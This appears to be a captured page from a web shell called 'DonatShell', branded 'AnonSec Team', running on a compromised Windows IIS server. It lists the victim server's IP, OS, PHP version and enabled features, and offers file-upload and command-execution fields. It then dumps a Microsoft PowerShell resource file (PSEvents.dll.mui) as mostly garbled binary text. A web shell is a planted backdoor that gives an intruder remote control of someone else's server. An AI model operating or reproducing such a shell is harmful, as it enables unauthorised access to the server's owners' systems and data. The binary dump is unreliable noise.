DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.216
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Windows/SysWOW64/WindowsPowerShell/v1.0/en-US/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /Windows/SysWOW64/WindowsPowerShell/v1.0/en-US/PSEvents.dll.mui
MZ@	!L!This program cannot be run in DOS mode.

$uEEELlDLl
DRichEPEL
[J!	D`h@B.rsrcPD@@(@Xp			(=NMUIS6;r*Y$'@hMUIen-US	
00PPXPPppl  	//ppH
pp	dP! %\'QY*ad@1#Р4
,;0PowerShell Runspace

4Pipeline of Commands

DPowerShell remoting protocol

DPowerShell remoting transport

TPowerShell remoting host proxy calls

4All remoting cmdlets

8The serialization layer

,All session layer

TThe managed powershell plugin worker

$Open (async)

$Close (Async)

connect

 Disconnect

Negotiate

(On create calls

\to be used when an object is constructed

TTo be used when an object is disposed

`To be used when an event handler is raised

XTo be used when an exception is raised

tTo be used when operation is just executing a method

$Send (Async)

(Receive (Async)

 Rehydration

8Serialization settings

Error

Warning

 Information

Verbose

Debug level defined by PowerShell (which is above Informational defined by system)

Connect

<Execute a Remote Command

\Serialize or deserialize remoting payload

\Microsoft-Windows-PowerShell/Operational

TMicrosoft-Windows-PowerShell/Analytic

dComputer Name $null or . resolve to LocalHost

LResolving to default scheme http

Remote shell name resolved to default Microsoft.PowerShell

hCreating Runspace object %n %t Instance Id: %1

Creating RunspacePool object %n %t InstanceId %1 %n %t MinRunspaces %2 %n %t MaxRunspaces %3

4Opening RunspacePool

TModifying activity Id and correlating

0Port resolved to %1

8AppName resolved to %1

@ComputerName resolved to %1

$Scheme is %1

4Test analytic message

DConnection Paramters are %n Connection URI: %1 %n Resource URI: %2 %n User: %3 %n OpenTimeout: %4 %n IdleTimeout: %5 %n CancelTimeout: %6 %n AuthenticationMechanism: %7 %n Thumb Print: %8 %n MaxUriRedirectionCount: %9 %n MaxReceivedDataSizePerCommand: %10 %n MaxReceivedObjectSize: %11

TModifying activity Id and correlating

0Successfully rehydrated an object. %n %t Deserialized type name: %1 %n %t Rehydrated by casting to type: %2 %n %t Rehydrated object is of type: %3

`Failed to rehydrated an object. %n %t Deserialized type name: %1 %n %t Rehydrated by casting to type: %2 %n %t Type cast exception: %3 %n %t Type cast inner exception: %4

LSerialization depth has been overriden. %n %t Serialized type name: %1 %n %t Original depth: %2 %n %t Overriden depth: %3 %n %t Current depth below top level: %4

Serialization mode has been overriden. %n %t Serialized type name: %1 %n %t Overriden mode: %2

Serialization of a script property has been skipped, because there is no runspace to use for evaluation of the property. %n %t Property name: %1 %n %t Property owner's type name: %2 %n %t Getter script: %3

Serialization of a property has been skipped, because property getter failed. %n %t Property name: %1 %n %t Property owner's type name: %2 %n %t Exception from property getter: %3 %n %t Inner exception from property getter: %4

hSerialization of an enumerable object might not be complete, because object being enumerated threw an exception. %n %t Type of object being enumerated: %1 %n %t Exception: %2

Serialization called object's ToString method which failed. %n %t Type of object: %1 %n %t Exception: %2

pMaximum depth below top level has been reached, forcing object to be serialized as strings. %n %t Object type at max depth: %1 %n %t Property name at max depth: %2 %n %t Depth: %3

HXmlException has been thrown by the deserializer (most likely indicating incorrect clixml format). %n %t Line number: %1 Line position: %2 %n %t Exception: %3

4Serialization of specified properties failed, because one of the specified properties was missing.  %n %t Type of object: %1 %n %t Property name: %2

Received object with Runspace Id: %1 Command Id: %2 Destination: %3 DataType: %4 TargetInterface: %5

An unhandled exception occurred in the appdomain. %nException Type: %1 %nException Message: %2 %nException StackTrace: %3

Runspace Id: %1 Pipeline Id: %2. WSMan reported an error with error code: %3. %n Error message: %4 %n StackTrace: %5

An unhandled exception occurred in the appdomain. %nException Type: %1 %nException Message: %2 %nException StackTrace: %3

Runspace Id: %1 Pipeline Id: %2. WSMan reported an error with error code: %3. %n Error message: %4 %n StackTrace: %5

Runspace Id %1. Establishing a connection using WSMan Create Shell

|Runspace Id %1. Callback received for WSMan Create Shell

tRunspace Id: %1. Closing shell using WSManCloseShell

xRunspace Id: %1. Callback received for WSManCloseShell

|Runspace Id: %1 Pipeline Id: %2. Sending data of size %3

Runspace Id: %1 Pipeline Id: %2. Callback received for WSManSendShellInputEx

Runspace Id: %1 Pipeline Id: %2. Placing Receive request using WSManReceiveShellOutputEx

Runspace Id: %1 Pipeline Id: %2. Received Data of size %3.

Runspace Id %1 Pipeline Id %2. Establishing a command connection using WSManRunShellCommandEx

Runspace Id %1 Pipeline Id %2. Callback received for command connection

Runspace Id: %1 Pipeline Id %2. Closing transport for command

Runspace Id: %1 Pipeline Id %2. Callback received for command close

Runspace Id: %1 Pipeline Id %2. Sending signal with code %3 using WSManSignalShellEx

Runspace Id: %1 Pipeline Id %2. Callback received for WSManSignalShellEx

Runspace Id: %1. Connection is getting redirected to Uri: %2

Runspace Id: %1 Pipeline Id: %2. Server is sending data of size %3 to client. DataType: %4 TargetInterface: %5

Request %1. Creating a server remote session. UserName: %2 Custome Shell Id: %3

xReporting context for request: %1 Context Reported: %1

Reporting operation complete for request: %1 %n Error Code: %2 %n Error Message: %3 %n StackTrace: %4

Shell Context %1. Request Id %2. Creating a commonad session for running a command.

Shell Context %1 Command Context %2 Request Id %3. Stopping command.

Shell Context %1 Command Context %2 Request Id %3. Received data from client.

Shell Context %1 Command Context %2 Request Id %3. Client sent a receive request so that server can send data.

Shell Context %1 Command Context %2 IsReceiveOperation %3. Got close operation request.

tLoading assembly %1 for custom shell with shell Id %2

lLoading type %1 for custom shell with shell Id %2

DReceived remoting fragment. %n %t Object Id: %1 %n %t Fragment Id: %2 %n %t Start Flag: %3 %n %t End Flag: %4 %n %t Payload Length: %5 %n %t Payload Data: %6

<Sent remoting fragment. %n %t Object Id: %1 %n %t Fragment Id: %2 %n %t Start Flag: %3 %n %t End Flag: %4 %n %t Payload Length: %5 %n %t Payload Data: %6

0AllPublicProperties

String

0SpecificProperties

8InvalidTargetInterface

Session

$RunspacePool

 PowerShell

(InvalidDataType

8ExceptionAsErrorRecord

4SessionConfiguration

@SessionConfigurationRequest

,SessionCapability

$CloseSession

0CreateRunspacePool

(SetMaxRunspaces

(SetMinRunspaces

DRunspacePoolOperationResponse

4RunspacePoolStateInfo

,CreatePowerShell

0AvailableRunspaces

 PSEventArgs

HRemoteHostCallUsingRunspaceHost

HRemoteRunspaceHostResponseData

(PowerShellInput

0PowerShellInputEnd

,PowerShellOutput

4PowerShellErrorRecord

0PowerShellStateInfo

(PowerShellDebug

,PowerShellVerbose

,PowerShellWarning

0PowerShellProgress

(StopPowerShell

LRemoteHostCallUsingPowerShellHost

LRemotePowerShellHostResponseData

DWSMAN_FLAG_NO_AUTHENTICATION

8WSMAN_FLAG_AUTH_DIGEST

<WSMAN_FLAG_AUTH_NEGOTIATE

4WSMAN_FLAG_AUTH_BASIC

<WSMAN_FLAG_AUTH_KERBEROS

PWSMAN_FLAG_AUTH_CLIENT_CERTIFICATE

8WSMAN_FLAG_AUTH_CREDSSP

Client

Server

Listener

4VS_VERSION_INFO@@?&StringFileInfo040904B0LCompanyNameMicrosoft Corporation-FileDescriptionMicrosoft PowerShell Crimson log Message Dlll&FileVersion6.1.7600.16385 (win7_rtm.090713-1255)2	InternalNamePSEvents.LegalCopyright Microsoft Corporation. All rights reserved.JOriginalFilenamePSEvents.DLL.MUIj%ProductNameMicrosoft Windows Operating SystemBProductVersion6.1.7600.16385DVarFileInfo$Translation	PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING

Anon7 - 2022
AnonSec Team